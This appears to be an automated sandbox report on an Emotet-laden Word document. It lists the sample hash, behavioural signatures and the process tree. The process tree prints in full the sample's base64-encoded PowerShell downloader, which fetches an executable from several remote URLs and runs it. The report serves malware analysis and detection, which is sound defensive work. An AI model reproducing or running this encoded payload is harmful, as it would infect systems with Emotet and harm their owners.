Analysis
- max time kernel
149s - max time network
151s - platform
windows10_x64 - resource
win10v200722 - submitted
16/10/2020, 08:56
General
- Target emotet_e1_ab8fb0a4b2361d2bdabb361b5b7a4850c03ccc50a3c83085ae3a3cb1cd617080_2020-10-16__085428875390._doc.doc
- Size 211KB
- Sample201016-sb4ae155se
- SHA256 ab8fb0a4b2361d2bdabb361b5b7a4850c03ccc50a3c83085ae3a3cb1cd617080
Score
10/10
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blacklisted process makes network request 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 9 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_ab8fb0a4b2361d2bdabb361b5b7a4850c03ccc50a3c83085ae3a3cb1cd617080_2020-10-16__085428875390._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePOwersheLL -ENCOD JABWAHMAdwBwAGUAYQB6AD0AKAAoACcAUAB2AGcAJwArACcAZQB6ACcAKQArACcAZABwACcAKQA7ACQAUAA5AGQANAAxADIAcAA9ACQAWgB6AGwAZwBrAHEAZAAgACsAIABbAGMAaABhAHIAXQAoADEAIAArACAAMQAgACsAIAAyADAAIAArACAAMQAwACAAKwAgADEAMAApACAAKwAgACQAQQBvAG0AaAAyAHgAeAA7ACQARQAyADAAaABlAGEAMwA9ACgAJwBaAG0AJwArACcAXwAzACcAKwAoACcAMwAnACsAJwAzAGkAJwApACkAOwBbAHMAeQBzAHQAZQBtAC4AaQBvAC4AZABpAHIAZQBjAHQAbwByAHkAXQA6ADoAIgBDAGAAUgBlAGEAdABFAGQASQBgAFIARQBjAFQATwBgAFIAWQAiACgAJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQAgACsAIAAoACgAKAAnAHkAQQAnACsAJwBEAEoAJwApACsAJwB5ACcAKwAoACcAcAB3ACcAKwAnAG0AJwArACcAMAA4AHkAQQAnACkAKwAoACcARAAnACsAJwBPAHUAOAAnACkAKwAoACcAaAAnACsAJwB3AHcAJwApACsAKAAnADIAeQAnACsAJwBBACcAKQArACcARAAnACkALgAiAFIARQBQAEwAQQBgAEMAZQAiACgAKAAnAHkAJwArACcAQQBEACcAKQAsAFsAUwBUAFIASQBuAGcAXQBbAEMAaABBAFIAXQA5ADIAKQApACkAOwAkAEQAZQBpADgAbAB2AGQAPQAoACgAJwBLACcAKwAnADgAbwAnACkAKwAoACcAMgB6AHIAJwArACcAbQAnACkAKQA7AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAARQBDAHUAcgBpAHQAeQBQAFIATwBUAG8AYABDAGAAbwBMACIAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6ACIAdABsAHMAYAAxADIAIgA7ACQAWQBoADkAMABlAGgAeQA9ACgAKAAnAFgAOQBoACcAKwAnADkAJwApACsAJwByAG0AJwArACcAOQAnACkAOwAkAFIAOABsADcAMwB4ADYAIAA9ACAAKAAnAEUAJwArACcANwAnACsAKAAnAGQAdwAnACsAJwBwADEAJwApACkAOwAkAFAAeQB3ADQAaAB3AGIAPQAoACcATgAnACsAKAAnAF8AJwArACcAYQA0AHUAJwApACsAJwA2AGsAJwApADsAJABYAHIAagBfAG4AbwBmAD0AKAAnAEMAMAAnACsAKAAnAGYAdgA0ACcAKwAnAG8AJwApACsAJwAxACcAKQA7ACQATgBwAHYAegA1AHoAYwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ADAAJwArACcAfQBKAHkAcAB3AG0AJwArACcAMAA4AHsAMAB9AE8AdQA4ACcAKwAoACcAaAB3ACcAKwAnAHcAJwApACsAJwAyACcAKwAnAHsAMAAnACsAJwB9ACcAKQAgACAALQBmACAAIABbAEMASABhAFIAXQA5ADIAKQArACQAUgA4AGwANwAzAHgANgArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQARwB0AG0AawB0AHAAcQA9ACgAKAAnAFgAagAnACsAJwB6ADAAJwApACsAJwByAHQAJwArACcAbwAnACkAOwAkAFMAcAB5AHAAdwBnAGsAPQAuACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAE4AZQB0AC4AVwBlAGIAQwBMAGkARQBuAHQAOwAkAEIANwAwAGoAbQBwADcAPQAoACcAaAAnACsAJwB0ACcAKwAnAHQAJwArACgAJwBwADoAJwArACcALwAnACkAKwAnAC8AdwAnACsAKAAnAHcAJwArACcAdwAuAHQAaQAnACkAKwAnAGsAdAAnACsAKAAnAG8AawB2AGEAcAAnACsAJwBlAHMAJwArACcALgAnACkAKwAoACcAYwBvAG0AJwArACcALwB3ACcAKQArACgAJwBwAC0AYQAnACsAJwBkAG0AaQAnACsAJwBuAC8AJwApACsAJwB4ACcAKwAnAEwALwAnACsAJwAqACcAKwAoACcAaAAnACsAJwB0AHQAcAA6ACcAKwAnAC8ALwB3ACcAKQArACcAdwB3ACcAKwAoACcALgBiACcAKwAnAGwAJwApACsAJwBhAGMAJwArACgAJwBrAHMAJwArACcAdAAnACkAKwAoACcAbwAnACsAJwBuAGUAdAAnACkAKwAoACcAdQB0AG8AJwArACcAcgBzACcAKQArACcALQBvACcAKwAoACcAbgAnACsAJwBsAGkAJwApACsAKAAnAG4AJwArACcAZQBwAG8AJwArACcAcgB0AGEAbAAnACsAJwAuACcAKQArACcAYwBvACcAKwAoACcAbQAnACsAJwAvAHcAcAAtAGkAJwApACsAKAAnAG4AYwAnACsAJwBsACcAKQArACgAJwB1ACcAKwAnAGQAZQBzAC8AJwApACsAKAAnAGYAbQAnACsAJwAvACoAJwApACsAKAAnAGgAdAAnACsAJwB0AHAAJwApACsAKAAnADoAJwArACcALwAvACcAKQArACcAYgBhACcAKwAnAGMAJwArACgAJwBoAGgAJwArACcAbwAnACkAKwAoACcAYQAnACsAJwBuAGgAJwApACsAJwBhACcAKwAnAGwAZQAnACsAJwAuACcAKwAnAGMAJwArACgAJwBvACcAKwAnAG0AJwArACcALwB3AG8AcgAnACkAKwAoACcAZABwACcAKwAnAHIAJwApACsAKAAnAGUAcwBzAC8ASQAnACsAJwAvACcAKwAnACoAJwApACsAJwBoAHQAJwArACgAJwB0ACcAKwAnAHAAOgAnACkAKwAnAC8AJwArACcALwAnACsAJwBpACcAKwAoACcAbgB2AGEAJwArACcAbAB1ACcAKwAnAGEAYgBsAGUAJwApACsAJwBhAHIAJwArACcAdABzACcAKwAoACcALgBjAG8AJwArACcAbQAvADYAcwAnACkAKwAoACcAbgAxAGYAJwArACcALwAnACkAKwAoACcAdAAnACsAJwAvACoAJwApACsAJwBoACcAKwAoACcAdAAnACsAJwB0AHAAJwApACsAKAAnAHMAOgAvAC8AJwArACcAdwAnACsAJwB3AHcAJwArACcALgBtAHkAYwBvAGwAJwApACsAJwBsAGUAJwArACgAJwBnACcAKwAnAGUAJwArACcAYwBwAC4AYwBvACcAKQArACcAbQAnACsAJwAvAGMAJwArACcAbwBuACcAKwAnAHQAZQAnACsAKAAnAG4AdAAnACsAJwAvAGsAJwApACsAKAAnAFIAJwArACcATAAvACoAaAAnACsAJwB0AHQAcAA6AC8ALwB0AGEAdAAnACkAKwAnAGkAJwArACcAbABiACcAKwAoACcAdQAnACsAJwByAGQAdQAnACkAKwAnAHIAJwArACcALgBjACcAKwAoACcAbwAnACsAJwBtAC8AcwBjACcAKwAnAHUAdAAnACkAKwAoACcAdQAnACsAJwBtAC8ASwBWACcAKwAnAC8AKgBoAHQAJwApACsAKAAnAHQAcAAnACsAJwBzACcAKQArACgAJwA6AC8ALwAnACsAJwB3AHcAdwAnACsAJwAuACcAKQArACcAcAAnACsAJwBnACcAKwAoACcAaQBzACcAKwAnAG8ALgBjACcAKQArACcAbwBtACcAKwAoACcALwB3AHAAJwArACcALQBhAGQAJwApACsAJwBtAGkAJwArACcAbgAnACsAJwAvACcAKwAnAG0AQwAnACsAJwBRACcAKwAnAC8AJwApAC4AIgBTAFAAbABgAGkAdAAiACgAJABYAHUAZwBmAGcAMgBsACAAKwAgACQAUAA5AGQANAAxADIAcAAgACsAIAAkAE4AegB6AGkAcgBxADgAKQA7ACQASABxAHUAYQBzAF8ANAA9ACgAJwBBACcAKwAoACcANwBkACcAKwAnAGQAegAnACkAKwAnAGcAcQAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFMAcgA1ADMAYgA0ADcAIABpAG4AIAAkAEIANwAwAGoAbQBwADcAKQB7AHQAcgB5AHsAJABTAHAAeQBwAHcAZwBrAC4AIgBkAE8AYAB3AGAATgBsAE8AQQBgAGQAZgBpAGwAZQAiACgAJABTAHIANQAzAGIANAA3ACwAIAAkAE4AcAB2AHoANQB6AGMAKQA7ACQAUAAyAHoAagBpAHYAbwA9ACgAKAAnAEYAZgAnACsAJwAzACcAKQArACgAJwA1ACcAKwAnADEAaQA4ACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAE4AcAB2AHoANQB6AGMAKQAuACIAbABFAG4AYABHAFQASAAiACAALQBnAGUAIAAyADkAOQA4ADgAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACgAJwB3ACcAKwAnAGkAbgAnACsAJwAzACcAKwAoACcAMgBfAFAAJwArACcAcgBvAGMAZQAnACsAJwBzAHMAJwApACkAKQAuACIAYwBgAFIAZQBhAFQAZQAiACgAJABOAHAAdgB6ADUAegBjACkAOwAkAE8AegBhADAAbgA4ADgAPQAoACgAJwBSAGYAJwArACcAawB4ACcAKQArACcAaQAnACsAJwB0AG0AJwApADsAYgByAGUAYQBrADsAJABEAHkAMQAyAHgAOAB6AD0AKAAoACcAQgAnACsAJwA1AG4AJwApACsAKAAnAGgAJwArACcAXwAzACcAKQArACcANAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFIAMgBlAHMAcAB2AGgAPQAoACgAJwBVACcAKwAnAHMAdQAnACkAKwAnAHAAJwArACgAJwBkACcAKwAnADcAXwAnACkAKQA=1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/3864-0-0x00007FF9C24B0000-0x00007FF9C2B76000-memory.dmp
memory/3864-3-0x000001A7A73A0000-0x000001A7A73CF000-memory.dmp
memory/3980-8-0x00007FF9BB060000-0x00007FF9BBA4C000-memory.dmp
memory/3980-9-0x000001DBFAAE0000-0x000001DBFAAE1000-memory.dmp
memory/3980-10-0x000001DBFACC0000-0x000001DBFACC1000-memory.dmp